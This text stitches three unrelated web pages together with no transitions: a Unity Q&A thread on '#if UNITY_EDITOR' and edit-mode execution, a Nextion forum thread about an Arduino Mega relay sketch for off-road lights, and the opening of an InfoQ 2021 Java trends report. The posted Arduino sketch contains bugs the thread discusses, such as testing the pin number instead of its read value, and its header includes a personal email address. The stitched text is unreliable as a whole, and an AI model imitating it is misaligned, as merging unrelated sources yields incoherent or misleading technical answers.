return; Besides that, the symbol UNITY_EDITOR will always return true when the running application is the editor - that's what it's asking - regardless of 'mode'. UNITY_EDITOR You can define your own symbols as shown here: Thanks. if (Application.isPlaying) return; also seems to work. But if the "#if UNITY_EDITOR" means running the code in both edit and play mode, what's its use then? (In either cases, I'd have to tag my script with ExecuteInEditor - I don't see how the #if is useful in this case...) if (Application.isPlaying) return; ExecuteInEditor it can allow you to place some code for debugging that won't go in the build, like some GUI stuffs. I see. So there's no way I could execute something ONLY in edit mode? There is a similar thread here yo may have seen it already. Yes I read that. But I think there's something fundamental that I'm missing here. Using #if UNITY_EDITOR will actually run the code, only in the editor, by that it means both edit and play mode. The code inside the block, won't be included in the build - that's what I understood. I'm gonna try and build my game, and see if I get anything from inside those blocks... Answer by ashworth · Sep 17, 2015 at 06:02 PM I think the problem with your code was that you put the [ExecuteInEditMode] on a separate line to the void declaration, it should be on the same line as with the [HideInInspector] tag Nope. $$anonymous$$akes no difference. Attributes apply to the declaration that follows them, irrespective of whitespace. Answer by qsp18 · Apr 08, 2021 at 10:36 AM it refers to whether you start the game through Unity. If you build the game, then it will no longer be executed in the finished game. For example, it means the opposite of #if DEVELOPMENT_BUILD. Otherwise you can also use #if DEBUG and then it should only be executed when debugging. using ExecuteInEditMode to create platforms in the editor 1 Answer Unity Editor, detect Save or Rebuild Event 1 Answer changing a bool in a prefab doesn't change in it's instance. 2 Answers What is runtime analogy for Editor's PrefabUtility.SetPropertyModifications? 0 Answers Create an array of Vector3 from Editor script 1 Answer EnterpriseSocial Q&A
https://answers.unity.com/questions/604503/if-unity-editor-stuff-getting-called-at-runtime-as.html?sort=oldest
CC-MAIN-2022-40
refinedweb
693
65.01
My approach would be to use a dual-state button with the send component ID checked Listening for "0x65 0x00 0x01 0x00 0xff 0xff 0xff" where 0x01 is my dual-state button's ID Then when I receive that trigger, I would issue a get command. get bt0.val // where bt0 is the objname of my dual-state button This will generate a four-byte value being returned with the possibility of 1 for on and 0 for off 0x71 0x01 0x00 0x00 0x00 0xff 0xff 0xff 0xff // signifies on 0x71 0x00 0x00 0x00 0x00 0xff 0xff 0xff 0xff // signifies off Using this approach allows me to query the display at anytime, just in case the display and Mega were not in sync, I can check the display value and sync the light via the Mega as necessary. I'll leave you to code the Mega While I am not using the Arduino platform (Intel Edison with kylix pascal), I didn't see the actual function for toggling the button listed in your code above. I am unable to check the code I don't have. One issue for me your function myNextion.buttonToggle, if toggling from the Mega has to send the text b3.val=1 or b3.val=0 to set the dual-state button on the nextion display. If it was toggled from the nextion display than that value was already toggled on the nextion and it is your Boolean button3state that merely needs updating. I have certainly run into scenarios where when responding to a button toggle and issuing another toggle will cancel themselves out in Boolean leaving the original state, like kind of what you are describing. If button toggled from the nextion display by the user, you should be responding capture the state, and controlling your lights. Perhaps using your response after capturing the event button3state := not button3state if button3state = true then digitalWrite(relaycPin, HIGH) else digitalWrite(relaycPin, LOW) I see where you in relayaPin you have high and lows but I don't see any lows for the other 3 pins ? Allow me to make a stab at this. I am going to back out on this one not knowing what the Arduino platform library are doing. quick googling into Arduino and I notice that people have buffers defined, or are adding the received character to a message string that will be cleared later. The nextion definitely has response codes that vary in length, and I have no idea what the library is/has taken care of todate. I updated the backlight.hmi file to include your four buttons for each of your four pins and defined the fifth button as a master turning all on or all off. Included the init and toggles inside the updated hmi. however, in looking deeper at your code, you have a a mix of numer and hex values, and they don't combine. The data terminator is three bytes of hex 0xFF, so ffff ffff ffff is going to be incorrect. I apologize again, Arduino isn't my platform. I hope that I might have been a bit of help to your goal //52" Lightbar if (message == "65 0 1 1 ffff ffff ffff") { myNextion.buttonToggle(button1State, "b0", 0, 2); if (button1State == HIGH) { // turn Relay on: digitalWrite(relayaPin, HIGH); } else { // turn Relay off: digitalWrite(relayaPin, LOW); } } @Bob Can you confirm for me the message as 65 0 1 1 ffff ffff ffff ? The format of the end of data being three bytes of 0xff, I picture the data coming in might be ff ff ff? If the double f (ff) is tried over the quad f (ffff) does it still function? The other thing that I have a question on is "is message always in hex?", as it looks as if it is a mix. Thanks Patrick How did you create a Nextion object named myNextion using the nextion serial port @ 9600bps? Kevin Such code with Nextion myNextion comes from unsupported lib where authors do not answer your questions. It can also be identified by message=(xx x x x ffff ffff ffff) which is not correct to the Nextion Instruction Set which clearly states data is terminated by three bytes of 0xFF. Perhaps look at IteadLib Arduino Nextion Library as a source for coding example. You are of course free to choose as and struggle as you see fit. Question...? If i want the relay on for a specified time, i know i need to add a delay. But, instead of "else", do i write a "then" statement for delay to off? I think i just answered myself (i need to read more). other question: i want 2 relays on 1 button. other question: what is <doxygen.h> and what is <SoftwareSerial.h> and why are they used? other question: if you are using an 8 channel relay, wouldnt that need to be included? #include<base> Hi Daron, I'm still searching how to control the relays... but i can help you on some questions : 2 Relays on 1 button is possible : if(buttonx == HIGH){ digitalWrite(R1, HIGH); digitalWrite(R2, HIGH); } <doxygen> i'm not sure it comes from official library... <SoftwareSerial> is library to add more serial on your arduino by digital pins (attention, not all the pins are supported, you should check for the different boards) this library is useful to communicate with your Nextion. #include<> are for library, you don't need library for relays, just to declare it : int R1 = 2; int R2 = 3; int R3 = 4; ... Just pay attention if you use more than 2 relays board, to have an external power, and to link the grounds ! Good luck for your project ;-) Daron, For the specified time, i advice you not tu use the function delay(), but the function millis() You can check some examples on Google. When you use delay(200); it means you µc is freezing for 200 milliseconds With the function millis(), i know it's a bit more... not complicated... but more commands to write, but your µc continue to work with other functions. So..if i try to use a neopixel ring as well, delay() will also delay() the neopixel? Yes, delay() will halt the MCU, regardless of what library or code. Here's a link to explain the millis() timer functions, and why delay() is not so good..... Follow the blue next page links for the series, bottom right of the pages Bob Wardecker I am having a bit of a problem guys. I am trying to use a Nextion touch screen to control my off road lights. I am using a Arduino Mega 2560 board. A 8 module relay board. and the Nextion screen. The sketch I have written everything works except after I fire the relay I am unable to turn it off. In the sketch I am also posting in the first button toggle I am having the state of the pin read then based on the state turn it off or on. Well it now does nothing. It neither fires the relay or turns it off. In the rest of the button toggles I just have it fire the relay when the button toggles. The message that is called for in the button toggles does not change based on button state. Otherwise I would use that to turn the relay off. Guys I am at a loss. Any guidance would be greatly appreciated. [code] /* This is my Sketch for the Touch Screen interface for the relay box that will be installed in my Jeep Robert L. Wardecker cna2rn@gmail.com This code is in public domain */ #include <SoftwareSerial.h> #include <doxygen.h> #include <Nextion.h> const int relayaPin = 52; const int relaybPin = 53; const int relaycPin = 50; const int relaydPin = 51; SoftwareSerial nextion(10, 11);// Nextion TX to pin 10 and RX to pin 11 of Arduino Nextion myNextion(nextion, 9600); //create a Nextion object named myNextion using the nextion serial port @ 9600bps boolean button1State; boolean button2State; boolean button3state; boolean button4state; boolean button5state; void setup() { // put your setup code here, to run once: Serial.begin(9600); myNextion.init(); // send the initialization commands for Page 0 pinMode(relayaPin, OUTPUT); pinMode(relaybPin, OUTPUT); pinMode(relaycPin, OUTPUT); pinMode(relaydPin, OUTPUT); } void loop() { // put your main code here, to run repeatedly: String message = myNextion.listen(); //check for message if (message == "65 0 1 1 ffff ffff ffff") { myNextion.buttonToggle(button1State, "b0", 0, 2); } digitalRead(relayaPin); if (relayaPin == HIGH) { // turn Relay on: digitalWrite(relayaPin, HIGH); } else { // turn LED off: digitalWrite(relayaPin, LOW); } if (message == "65 0 2 1 ffff ffff ffff") { myNextion.buttonToggle(button2State, "b1", 0, 2); digitalWrite(relaybPin, HIGH); } if (message == "65 0 3 1 ffff ffff ffff") { myNextion.buttonToggle(button3state, "b2", 0, 2); digitalWrite(relaycPin, HIGH); } if (message == "65 0 4 1 ffff ffff ffff") { myNextion.buttonToggle(button3state, "b3", 0, 2); digitalWrite(relaydPin, HIGH); } if (message == "65 0 5 1 ffff ffff ffff") { myNextion.buttonToggle(button3state, "b4", 0, 2); digitalWrite(relayaPin, HIGH); digitalWrite(relaybPin, HIGH); digitalWrite(relaycPin, HIGH); digitalWrite(relaydPin, HIGH); } } [/code]
http://support.iteadstudio.com/support/discussions/topics/11000003469
CC-MAIN-2017-26
refinedweb
1,509
69.72
#include <Future_Set.h> #include <Future_Set.h> Inheritance diagram for ACE_Future_Set< T >: [private] 0 Constructor. Destructor. Enqueus the given ACE_Future into this objects queue when it is readable. Returns 0 if the future is successfully inserted, 1 if the future is already inserted, and -1 if failures occur. Return 1 if their are no ACE_Future objects left on its queue and 0 otherwise. When an ACE_Future_Set has no ACE_Future>subjects to observe it is empty. The ACE_Future_Set is in the empty state when either the caller(s) have retrieved every readable ACE_Future subject assigned the ACE_Future_Set via the ACE_Future_Set::next_readable() method, or when the ACE_Future_Set has not been assigned any subjects. Wait up to <tv> time to get the <value>. Note that <tv> must be specified in absolute time rather than relative time.); get the next <ace_future> that is readable. If <tv> = 0, the will block forever. If a readable future becomes available, then the input <ace_future> object param will be assigned with it and 1 will be returned. If the <ace_future_set> is empty (i.e. see definition of <ACE_Future_Set::is_empty>), then 0 is returned. When a readable <ace_future> object is retrieved via the <ACE_Future_Set::next_readable> method, the <ace_future_set> will remove that <ace_future> object from its list of subjects. [virtual] Called by the ACE_Future subject in which we are subscribed to when its value is written to. Implements ACE_Future_Observer< T >. Declare the dynamic allocation hooks. Reimplemented from ACE_Future_Observer< T >. Keeps track of whether we need to delete the message queue. Map of <ace_futures>, subjects, which have not been written to by client's writer thread. Message queue for notifying the reader thread of <ace_futures> which have been written to by client's writer thread.
https://www.dre.vanderbilt.edu/Doxygen/5.4.7/html/ace/classACE__Future__Set.html
CC-MAIN-2022-40
refinedweb
283
58.89
import QtMobility.systeminfo 1.2 DeviceInfo{ id:deviceInfo monitorDeviceLocks: true onDeviceLocked: { if(isDeviceLocked){ print("locked");... Type: Posts; User: francesco_it; Keyword(s): import QtMobility.systeminfo 1.2 DeviceInfo{ id:deviceInfo monitorDeviceLocks: true onDeviceLocked: { if(isDeviceLocked){ print("locked");... mmm it's Html, I would do it by parsing the source with javascript and populate the listview... or doing it with c++ using QWebElementCollection and QWebElement, creating a list you need and... I would use a signal so onForcedUpdateY you do y = x QCoreApplication::setAttribute(Qt::AA_S60DisablePartialScreenInputMode, false); QCoreApplication::setAttribute(Qt::AA_S60DisablePartialScreenInputMode, false); this is it! thanks devnull! Hello! is there a way to intercept the focus of a input element in a webview qml? what I would like to do it's to intercept the focus of a WebView Qml Element and pop up my virtual keyboard.. ... found your really useful article at. Thank you very much! I would say that i was trying media streaming (mp4) and it was not... process.start("MPXVideoPlayer.exe", args); Founded...I would do a beautiful mpxvideoplayer.exe -help but..?!?! Hello guys, thank you very much. Indeed i was following both solutions before. If i open a mp4 streaming with QDesktopService it asks me (in the browser) if i want to open it with the video player.... Hello, Im using QProcess to start native apps, process.start("Cameraapp.exe"); it executes the camera application on the phone. but if i want to execute the video app what's its name? how can... Hello gaba!! I'm using a Symbian Anna n8 Hello! How users can insert captchas showed in a webview with the symbian keyboard that is covering all the page? It's a bit annoying opening and closing the keyboard to see the captcha.. Is... Thanks kkrish. I was following that tutorial as well.. but "Flickable { WebView { Pincharea " blocks the webview "mousearea" engine..so with the solution "Flickable { PinchArea { Webview" i can flick... Thank you very much kusumk!!!!!!! :) I tried everything except this solution ! Hello, is there a way to zoom in and out in a webview? I was doing it with a flickable a webview and pincharea..when I set pincharea enable at true i cannot handle the clicks for the webview... vineet.jain thank you for your help :) This example was delightful! I used this idea with my own. I created an extension as I'm doing with everything else and I register it with... ListModel* createModel() { ListModel *model = new ListModel(new FruitItem, qApp); model->appendRow(new FruitItem("Apple", "medium", model)); model->appendRow(new FruitItem("PineApple",... yes I read that.. I would like to create something like in "Exposing C++ Data Models to QML" but Im not creating a list from qml but from c++ and then I would like to use the list as model for a... Hello, I would like to create a listview in qml using a component that is parsing a HTML page getting two properties like "description" and "detail" and creating the listview with the list I have.... Hello, I was trying to create a simple property using QNetworkAccessManager as type: Q_PROPERTY(QNetworkAccessManager* managerAuthenticator READ getManagerAuthenticator WRITE... Thank you for your answer :) Im new to Qt and Symbian and I would like to ask you if Webkit it's supported by Symbian^1 or Symbian^3 Solved using: QByteArray bytes = repToRead->readAll(); // bytes QWebPage page; QWebFrame * frame = page.mainFrame(); :) thank you gaba!!!! I know it's not really secure to bypass SSL.. :) Hello, I'm trying to parse a Html page using QXmlStreamReader but Im stuck somewhere... I use this method to parse the data void Person::findIt(QNetworkReply *repToRead) { @gaba88 im trying to make requests to this website .
http://developer.nokia.com/community/discussion/search.php?s=4792691ccc26585e5fdfe94fa4e4bda6&searchid=3284672
CC-MAIN-2014-35
refinedweb
611
58.58
#include <deal.II/lac/petsc_vector.h> Implementation of a parallel vector class based on PETSC and using MPI communication to synchronize distributed operations. All the functionality is actually in the base class, except for the calls to generate a parallel. synchronization 156 of file petsc_vector.h. Declare type for container size. Definition at line 162 of file petsc_vector.h. Declare some of the standard types used in all containers. These types parallel those in the C++ standard libraries vector<...> class. Definition at line 258 of file petsc_vector_base.h. Definition at line 259 of file petsc_vector_base.h. Definition at line 261 of file petsc_vector_base.h. Definition at line 262 of file petsc_vector_base.h. Default constructor. Initialize the vector as empty. Definition at line 31 of file petsc_parallel_vector.cc.. Definition at line 42 of file petsc_parallel_vector.cc. Copy-constructor from deal.II vectors. Sets the dimension to that of the given vector, and copies all elements. Copy-constructor the values from a PETSc wrapper vector class. Definition at line 52 of file petsc_parallel_vector.cc. Construct a new parallel ghosted PETSc vector from IndexSets.). The global size of the vector is determined by local.size(). The global indices in ghost are supplied as ghost indices so that they can be read locally. Note that the ghost IndexSet may be empty and that any indices already contained in local are ignored during construction. That way, the ghost parameter can equal the set of locally relevant degrees of freedom, see step-32. Definition at line 72 of file petsc_parallel_vector.cc. Construct a new parallel PETSc vector without ghost elements from an IndexSet.). Definition at line 104 of file petsc_parallel_vector.cc. Copy constructor. Definition at line 88 of file petsc_parallel_vector.cc. Release all memory and return to a state just like after having called the default constructor. Reimplemented from PETScWrappers::VectorBase. Definition at line 152 of file petsc_parallel_vector.cc. Copy the given vector. Resize the present vector if necessary. Also take over the MPI communicator of v. Definition at line 115. locally_owned 163.locally_owned_size(), omit_zeroing_entries). Definition at line 206 of file petsc_parallel_vector.cc. Reinit as a vector with ghost elements. See the constructor with same signature for more details. Definition at line 227 of file petsc_parallel_vector.cc. Reinit as a vector without ghost elements. See constructor with same signature for more details. Definition at line 245 of file petsc_parallel_vector.cc. Return a reference to the MPI communicator object in use with this vector. Reimplemented from PETScWrappers::VectorBase. 363 of file petsc_parallel_vector.cc. Return whether the vector contains only elements with value zero. This is a collective operation. This function is expensive, because potentially all elements have to be checked. Definition at line 348 of file petsc_parallel_vector.cc. Create a vector of length n. For this class, we create a parallel vector. n denotes the total size of the vector to be created. locally_owned_size denotes how many of these elements shall be stored locally. Definition at line 259 of file petsc_parallel_vector.cc. Create a vector of global length n, local size locally_owned_size and with the specified ghost indices. Note that you need to call update_ghost_values() before accessing those. Definition at line 277 of file petsc_parallel_vector.cc. Compress the underlying representation of the PETSc object, i.e. flush the buffers of the vector object if it has any. This function is necessary after writing into a vector element-by-element and before anything else can be done on it. See Compressing distributed objects for more information. Definition at line 373 of file petsc_vector_base.cc. Test for equality. This function assumes that the present vector and the one to compare with have the same size already, since comparing vectors of different sizes makes not much sense anyway. Definition at line 221 of file petsc_vector_base.cc. Test for inequality. This function assumes that the present vector and the one to compare with have the same size already, since comparing vectors of different sizes makes not much sense anyway. Definition at line 235 of file petsc_vector_base.cc. Return the global dimension of the vector. Definition at line 249 273 261 of file petsc_vector_base.cc.=locally_owned_size(). Definition at line 285 of file petsc_vector_base.cc. Return whether index is in the local range or not, see also local_range(). Return if the vector contains ghost elements. This function only exists for compatibility with the LinearAlgebra::distributed::Vector class and does nothing: this class implements ghost value updates in a different way that is a better fit with the underlying PETSc vector object. Provide access to a given element, both read and write. Provide read-only access to an element. Provide access to a given element, both read and write. Exactly the same as operator(). Provide read-only access to an element. Exactly the same as operator(). A collective set operation: instead of setting individual elements of a vector, this function allows to set a whole set of elements at once. The indices of the elements to be set are stated in the first argument, the corresponding values in the second. Definition at line 298 of file petsc_vector_base.cc.. A collective add operation: This function adds a whole set of values stored in values to the vector components specified by indices. Definition at line 309 of file petsc_vector_base.cc. This is a second collective add operation. As a difference, this function takes a deal.II vector of values. Definition at line 320 of file petsc_vector_base.cc. Take an address where n_elements are stored contiguously and add them into the vector. Handles all cases which are not covered by the other two add() functions above. Definition at line 331 of file petsc_vector_base.cc. Addition of s to all components. Note that s is a scalar and not a vector. Definition at line 742 of file petsc_vector_base.cc. Simple addition of a multiple of a vector, i.e. *this += a*V. Definition at line 754 of file petsc_vector_base.cc. Multiple addition of scaled vectors, i.e. *this += a*V+b*W. Definition at line 766 of file petsc_vector_base.cc. Return the scalar product of two vectors. The vectors must have the same size. For complex valued vector, this gives \(\left(v^\ast,vec\right)\). Definition at line 340 of file petsc_vector_base.cc. Return the square of the \(l_2\)-norm. Definition at line 433 of file petsc_vector_base.cc. Return the mean value of the elements of this vector. Definition at line 442 of file petsc_vector_base.cc. \(l_1\)-norm of the vector. The sum of the absolute values. Definition at line 493 of file petsc_vector_base.cc. \(l_2\)-norm of the vector. The square root of the sum of the squares of the elements. Definition at line 506 of file petsc_vector_base.cc. \(l_p\)-norm of the vector. The pth root of the sum of the pth powers of the absolute values of the elements. Definition at line 519 of file petsc_vector_base.cc. \(l_\infty\)-norm of the vector. Return the value of the vector element with the maximum absolute value. Definition at line 561 of file petsc_vector_base.cc. PETSc vectors such a combined operation is not natively supported and thus the cost is completely equivalent as calling the two methods separately. For complex-valued vectors, the scalar product in the second step is implemented as \(\left<v,w\right>=\sum_i v_i \bar{w_i}\). Definition at line 362 of file petsc_vector_base.cc. Return the value of the vector element with the largest negative value. Definition at line 574 of file petsc_vector_base.cc. Return the value of the vector element with the largest positive value. Definition at line 587 of file petsc_vector_base.cc. Return true if the vector has no negative entries, i.e. all entries are zero or positive. This function is used, for example, to check whether refinement indicators are really all positive (or zero). Definition at line 655 of file petsc_vector_base.cc. Multiply the entire vector by a fixed factor. Definition at line 687 of file petsc_vector_base.cc. Divide the entire vector by a fixed factor. Definition at line 701 of file petsc_vector_base.cc. Add the given vector to the present one. Definition at line 718 of file petsc_vector_base.cc. Subtract the given vector from the present one. Definition at line 730 of file petsc_vector_base.cc. Scaling and simple vector addition, i.e. *this = s*(*this)+V. Definition at line 785 of file petsc_vector_base.cc. Scaling and simple addition, i.e. *this = s*(*this)+a*V. Definition at line 797 of file petsc_vector_base.cc. Scale each element of this vector by the corresponding element in the argument. This function is mostly meant to simulate multiplication (and immediate re-assignment) by a diagonal scaling matrix. Definition at line 815 of file petsc_vector_base.cc. Assignment *this = a*V. Definition at line 825 of file petsc_vector_base.cc. Prints the PETSc vector object values using PETSc internal vector viewer function VecView. The default format prints the vector's contents, including indices of vector elements. For other valid view formats, consult Definition at line 844 of file petsc_vector_base.cc. Swap the contents of this vector and the other vector. Definition at line 908 of file petsc_vector_base.cc. Conversion operator to gain access to the underlying PETSc type. If you do this, you cut this class off some information it may need, so this conversion operator should only be used if you know what you do. In particular, it should only be used for read-only operations into the vector. Definition at line 916 of file petsc_vector_base.cc. Estimate for the memory consumption (not implemented for this class). Definition at line 923 of file petsc_vector_base.cc. Collective set or add operation: This function is invoked by the collective set and add with the add_values flag set to the corresponding value. Definition at line 945 of file petsc_vector_base. Global function swap which overloads the default implementation of the C++ standard library which uses a temporary object. The function simply exchanges the data of the two vectors. Definition at line 434 of file petsc_vector.h. Global function swap which overloads the default implementation of the C++ standard library which uses a temporary object. The function simply exchanges the data of the two vectors. Definition at line 856 of file petsc_vector_base.h. Copy of the communicator object to be used for this parallel vector. Definition at line 419 of file petsc_vector.h. A generic vector object in PETSc. The actual type, a sequential vector, is set in the constructor. Definition at line 799 of file petsc_vector_base.h. Denotes if this vector has ghost indices associated with it. This means that at least one of the processes in a parallel program has at least one ghost index. Definition at line 806 of file petsc_vector_base.h. This vector contains the global indices of the ghost values. The location in this vector denotes the local numbering, which is used in PETSc. Definition at line 813 of file petsc_vector_base.h. Store whether the last action was a write or add operation. This variable is mutable so that the accessor classes can write to it, even though the vector object they refer to is constant. Definition at line 820 of file petsc_vector_base.h. Specifies if the vector is the owner of the PETSc Vec. This is true if it got created by this class and determines if it gets destroyed in the destructor. Definition at line 830 of file petsc_vector_base.h.
https://dealii.org/developer/doxygen/deal.II/classPETScWrappers_1_1MPI_1_1Vector.html
CC-MAIN-2021-10
refinedweb
1,888
61.63
Using webpack 2 and NPM to bundle various resources of a web application part 3: configuring and executing webpack August 25, 2017 Leave a comment Introduction In the previous post we started setting up a minimal project for our webpack demo. We installed Node.js so that we can create an NPM project where NPM stands for Node Package Manager. We also installed webpack as a development dependency and discussed the difference between development and production dependencies in an NPM project. We went through the role of the package.json file and saw where the dependencies are installed on disk. Finally we added two JS files to our src folder but left them empty. In this post we’ll first briefly discuss dependencies between JS modules. Then we’ll go ahead and configure webpack, activate it for our demo project and run it using NPM. JavaScript module dependencies So now we have two empty JS files in the src folder: index.js and utils.js. The target is to create a dependency between these two modules. index.js will call upon a function in utils.js to produce a greeting for the user. Add the following function to utils.js: const greeting = (firstName, lastName ) => `Welcome to webpack ${firstName} ${lastName}` If you don’t recognise the above code as JavaScript then you might want to go through the new features of ES6 available on this page. This is a fat arrow function which accepts the first and last name as inputs and returns a simple string as a greeting. We now want to make this function available in index.js. We need to look at two sides of the dependency graph. First, the function(s) that are required in other parts of the application should be made public so that they can be accessed elsewhere. Second, the JS file that wants to use the public function of another JS file must be able to import it. The challenge is that by default all functions and variables are scoped to the containing file in JS, i.e. they cannot be referenced from within another JS source file. JS lacks the private/public access modifiers available in OOP languages like Java, C#, C++ etc., so we cannot just write “public const greeting…” to make a function public. Likewise, the referencing file cannot easily import a dependency by a statement like “using” in C# or “import” in Java. To be exact, there was no straightforward way to achieve this before ES6 / ES2015 came along. This problem is not new and there are several libraries and frameworks to get around the JS module loading problem. Since we’re working with Node.js it’s worth mentioning the dependency loader employed there: CommonJS with its “require” and “module.exports” statements. “Require” is analogous to using/import and “module.exports” is similar to public elements in OOP languages. You’ll often see this syntax in Node.js web applications. If you’re interested in JS module loading and the various options and libraries around it you can consult this post. In this tutorial we’ll go with the new ES6 way of importing and exporting dependencies using the “import” and “export” statements. We’ll have one exception, namely in the webpack configuration file as we’ll soon see. Update index.js with the following content: import greeting from './utils' let myGreeting = greeting('John', 'Smith') console.log(myGreeting) …and here’s utils.js: const greeting = (firstName, lastName ) => `Welcome to webpack ${firstName} ${lastName}` export default greeting In utils.js we declare our simple greeting function and export it for public usage using ES6 syntax. Index.js first imports the greeting function from the utils.js file, invoke it with a first and last name and show the result in the console log. Webpack configuration Webpack has a configuration file which must be called webpack.config.js. Webpack will be looking for that file so make sure you name it like so. Add this configuration file to the root directory of our demo project: This configuration file must have a property called “config” which then must be exported at the end of the file. The config property in turn must include two elements: the entry point of the application and where to save the bundled JS file, i.e. what the bundled JS file should be named and what its location within the project should be. The entry point of the application must be a JS file which no other JS file depends on. This is required so that webpack can build a dependency graph out of all the export/import statements. In our case it will be index.js and you’ll very often see this same entry point all over. Index.js is similar to the Main function in OOP applications which indicates the entry point for the program, that’s where the program execution starts. The output file name is by convention “bundle.js” although it’s not a must. However, it’s good to adhere to commonly accepted conventions and we’ll follow that here as well. The path to the file is a bit more complex since it requires an absolute file reference, not a relative one like in the case of the entry point file name. Fortunately Node.js has a module called “path” which we can use to find the path to our project. The path module must be imported into the webpack configuration file. After all this tension build-up here’s the starting content of the webpack configuration file: const path = require('path') const config = { entry: './src/index.js', output: { path: path.resolve(__dirname, 'build'), filename: 'bundle.js' } } module.exports = config The path module has a resolve function which can build an OS-specific directory name. It works on Mac, Windows, Linux etc. __dirname is a Node.js keyword that refers to the current directory. Note that it’s two underscores followed by “dirname”. “build” is a folder name where the production-ready bundle should be saved. We say that the bundle should be placed within the [root project folder]/build/ folder. Webpack activation for our NPM project The next step is to declare webpack as the build runner in package.json. This file contains a JSON element called “scripts” with the following default content: “test”: “echo \”Error: no test specified\” && exit 1″ Remove that content and replace it with the following: "scripts": { "build": "webpack" } This modification will enable the following command in the command line: npm run build …which in turn will execute webpack. Running webpack Execute the command mentioned above in the command window: npm run build If everything goes fine then you’ll an output similar to the following: Hash: 4985f81de45aa2685802 Version: webpack 3.5.5 Time: 63ms Asset Size Chunks Chunk Names bundle.js 3.07 kB 0 [emitted] main [0] ./src/index.js 101 bytes {0} [built] [1] ./src/utils.js 116 bytes {0} [built] The version shows the webpack version that was used for the build process. Then we see the time it took to build the bundle. The table of assets shows the following: - bundle.js has a size of 3.07kB - The first input file, i.e. the entry point index.js has a size of 101 bytes - The second input file, i.e. utils.js has a size of 116 bytes Bundle.js is clearly larger than the two input files together. The bundled file was saved in the build folder within the project root just as we configured it in webpack.config.js: Open this bundle.js file in your editor and you’ll see that it really does include a lot more code than what we originally wrote. Normally webpack is not beneficial for trivial projects like our demo project but this is the best starting point for learning the tool. The code is not too easy to follow either. We’ll briefly look at the content of the bundled file and see how to execute it in the next post. View all posts related to JavaScript here.
https://dotnetcodr.com/2017/08/25/using-webpack-2-and-npm-to-bundle-various-resources-of-a-web-application-part-3-configuring-and-executing-webpack/
CC-MAIN-2021-17
refinedweb
1,348
66.03
Key Takeaways - Java 11 has reached parity with Java 8 in terms of market share. - Quarkus, introduced after Micronaut and Helidon, continues to be a popular framework and has "crossed the chasm" into the Early Majority space. - Containers have broken through and are now the way that the majority of Java applications are deployed. - Microsoft furthers its commitment to Java with the release of their own downstream distribution of OpenJDK and having joined the Java Community Process. Microsoft Build of OpenJDK is a new participant in the OpenJDK downstream distribution space. - Spring Framework 6 and Spring Boot 3, scheduled for GA releases in 2022, will be a major overhaul of these projects to adopt modularity. Spring Native has emerged as a new tool to convert existing Spring Boot applications, written in Java or Kotlin, to GraalVM native images. - MicroStream has emerged as a new participant in the Java ecosystem. - After years of stagnation, VS Code is shaking things up in the Java IDE space. This article provides a summary of how the InfoQ Java such as Jakarta EE, Quarkus, Micronaut, Helidon, MicroProfile and MicroStream. This report has two main goals: - To assist technical leaders in making mid- to long-term technology investment decisions. - To help individual developers in choosing where to invest their valuable time and resources for learning and skill development. This is our third published Java trends report. However, this topic has received ample news coverage as we have been internally tracking Java and JVM trends since 2006..” As we have done for the 2020 and 2019 Java trend reports, we present the internal topic graph for 2021: For context, here is our internal topic graph for 2020 Aside from some new technologies having been identified in the Innovators space, notable changes include: defining versions of Spring (and their related projects), Jakarta EE and Scala into different categories. We decided on this approach to avoid generalizing these technologies into one category when varying degrees of maturity and adoption exist. Spring Framework 6 and Spring Boot 3, scheduled for GA releases in late 2022, will be going through an overhaul to adopt modularity and will require JDK 17+ and Jakarta EE 9. A preview has recently been made available with the first milestone release of Spring Framework 6. Introduced at the beginning of 2021, Spring Native is a new tool to convert existing Spring Boot applications, written in Java or Kotlin, to GraalVM native images and is in the very early stages of development. Scala 3, released earlier this year, was overhauled with many new features, new syntax and the much-anticipated new Dotty compiler that has been under development for a number of years. Earlier this year, Microsoft furthered their commitment to the Java programming language when they introduced Microsoft Build of OpenJDK, their own downstream distribution of OpenJDK. AdoptOpenJDK joined the Eclipse Foundation and was immediately renamed Adoptium. The transition to Adoptium included the creation of an Eclipse Working Group and a split of AdoptOpenJDK into multiple sub-projects under the Adoptium top level project: Eclipse AQAvit, Eclipse Temurin and Eclipse Temurin Compliance. What follows is a lightly-edited summary of the corresponding discussion on various topics among several InfoQ Java Queue editors and Java Champions: - Michael Redlich, Senior Research Technician at ExxonMobil Research & Engineering and Java Queue Lead Editor at InfoQ - Ben Evans, Senior Principal Software Engineer at Red Hat, Java Champion and Java Queue Editor at InfoQ - Erik Costlow, Director of Developer Relations at Contrast Security and Java Queue Editor at InfoQ - Johan Janssen, Software Architect at Sanoma Learning and Java Queue Editor at InfoQ - Karsten Silz, Senior Full-Stack Java Developer and Java Queue Editor at InfoQ - Monica Beckwith, Senior Principal Engineer at Microsoft and Java Champion - Ana Maria Mihalceanu, Developer Advocate at Red Hat and Java Champion - Reza Rahman, Principal Program Manager for Java on Azure at Microsoft - Simon Ritter, Deputy CTO at Azul and Java Champion We feel this provides more context for our recommended positioning of some of the technologies on the internal topic graph. JDK 17 Beckwith: Java is now a more vigorous enforcement of OOP principles via JEP 403: Strongly Encapsulate JDK Internals. Vector computation via a platform-agnostic Vector API. The language additions, such as Records, and JVM improvements, such as project Valhalla, remove many verbosities and further embrace the concept of immutability, thus providing opportunities for performance optimizations. Mihalceanu: This year pleasantly surprised Java developers with both LTS and non-LTS Java releases. The Java 17 release was the confirmation that many of those preview features are now generally and long-term available. It also added a sense of urgency for some projects that still run on Java 8 to migrate to a newer version. Java 17 is the LTS that fulfilled the lifelong dream of having helpful NullPointerExceptions. Rahman: As always, all parts of the Java ecosystem remain lively. This speaks to the fundamental strength of Java. I think Java SE 17 has been particularly well received, especially features like Records. Runtimes like WildFly, Payara and Open Liberty are adopting Java SE 17. While some developers have adopted Java SE 11, Java SE 8 remains remarkably sticky. It is possible Java SE 17 will finally change that. Ritter: The release of JDK 17 has been significant. This means developers now have a new long-term support (LTS) release from all the OpenJDK distributions. For those not wishing to upgrade their Java version every six months to remain as stable and secure as possible, this is an important release. I like the way that we are seeing more small language features added to the platform more quickly than we've ever seen before. This is thanks to the six-month release cadence, which also makes both incubator modules and preview features practical. There are also some interesting developments in how the JVM can work in a cloud environment such as the new project in OpenJDK called co-ordinated restore at checkpoint (CRaC). Features, like records, are great for developing new code. Evans: The release of Java 17 LTS, and the ability to finally start deploying code that leverages Records and Sealed Types, as well as JFR Streaming for monitoring groups of JVMs. The path towards standardization in the Observability space - especially OpenTelemetry. Early signs of a consensus emerging around what it means for Java to be statically deployed ("Static Java"). I also think Panama will be a bigger deal than people expect. Downstream Distributions of 